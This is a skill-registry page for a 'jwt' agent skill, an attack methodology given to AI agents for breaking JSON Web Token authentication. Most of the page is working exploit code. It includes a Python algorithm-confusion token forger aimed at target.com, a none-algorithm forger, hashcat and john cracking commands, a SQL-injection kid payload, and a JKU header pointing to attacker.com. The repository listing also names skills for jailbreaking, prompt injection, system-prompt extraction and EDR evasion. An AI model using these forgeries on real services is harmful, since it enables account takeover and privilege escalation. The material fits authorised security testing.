jwt
Skill5 starsChanged 5 months agoApache-2.0View on GitHub
JWT (JSON Web Token) attack methodology. Covers algorithm confusion (RS256→HS256), none algorithm, weak secret cracking, kid injection, JKU header forgery, and claims manipulation.
6 other projects use a version of this.
Adopted by
Most recently taken up by
- mahumadad/quarrytheir own version, first seen Nov 8, 2026
- G1Joshi/Agent-Skillstheir own version, first seen Oct 13, 2026
- ScaleDockHQ/scaledock-skillstheir own version, first seen Oct 2, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- anurag-azure/skillstheir own version, first seen Jun 27, 2026
- Sorcha-Platform/Sorchatheir own version, first seen Jan 24, 2026
Other versions6 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 6
- G1Joshi/Agent-Skills★ 15same name
- emre-guler/websec★ 2same name
- Sorcha-Platform/Sorcha★ 2same name
- mahumadad/quarry★ 1same name
- ScaleDockHQ/scaledock-skills★ 1same name
- anurag-azure/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository33 other files it gives its agents.
- dcsyncSkill
- kerberoastingSkill
- pass-the-hashSkill
- jailbreakingSkill
- model-extractionSkill
- prompt-injectionSkill
- system-prompt-extractionSkill
- oauthSkill
- session-attacksSkill
- container-escapeSkill
- iam-privescSkill
- s3-enumSkill
- edr-evasionSkill
- initial-accessSkill
- embedding-attacksSkill
- rag-poisoningSkill
- mcp-context-injectionSkill
- mcp-rug-pullSkill
- mcp-tool-poisoningSkill
- osintSkill
- subdomain-enumSkill
- model-tamperingSkill
- cvss4-scoringSkill
- report-writingSkill
- graphqlSkill
- idorSkill
- rceSkill
- sqliSkill
- ssrfSkill
- sstiSkill
- waf-bypassSkill
- xssSkill
- xxeSkill
The file
We split this skill into the rules it gives an agent
2 rules. 0 are common, 0 are distinctive, and 2 are very specific to this project.
0
Common
Most of the 6 edited versions we read keep these.
0
Distinctive
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 20
If the server signs with RS256 (asymmetric) and validates by checking the alg header:
- Very specific: line 57
If kid is used in a SQL/file path lookup:
“Common” is measured: kept by at least 6 in 10 of the 6 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
JWT Attacks
Detection and Decoding
# Decode without verification
echo "eyJ..." | cut -d. -f2 | base64 -d 2>/dev/null
# Or use jwt.io in browserAttack 1 — Algorithm Confusion (RS256 → HS256)
If the server signs with RS256 (asymmetric) and validates by checking the alg header:
import jwt
import requests
# Get public key from server (often exposed at /jwks.json or /.well-known/jwks.json)
public_key = requests.get("https://target.com/.well-known/jwks.json").text
# Sign a forged token with the public key as the HMAC secret
forged = jwt.encode(
{"sub": "admin", "role": "admin"},
public_key,
algorithm="HS256"
)Attack 2 — None Algorithm
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip("=")
payload = base64.b64encode(json.dumps({"sub":"admin","role":"admin"}).encode()).decode().rstrip("=")
forged = f"{header}.{payload}."Attack 3 — Weak Secret Cracking
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
# Or john
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txtAttack 4 — kid (Key ID) Injection
If kid is used in a SQL/file path lookup:
{
"alg": "HS256",
"kid": "' UNION SELECT 'attacker_secret' --"
}Sign with attacker_secret — the server queries for the key using the injected SQL.
Attack 5 — JKU Header Forgery
{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json"
}Host a JWKS at attacker.com with your own RSA key pair. Sign the JWT with your private key.
Tools
OWASP Mapping
- A02:2021 — Cryptographic Failures
- A07:2021 — Identification and Authentication Failures
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

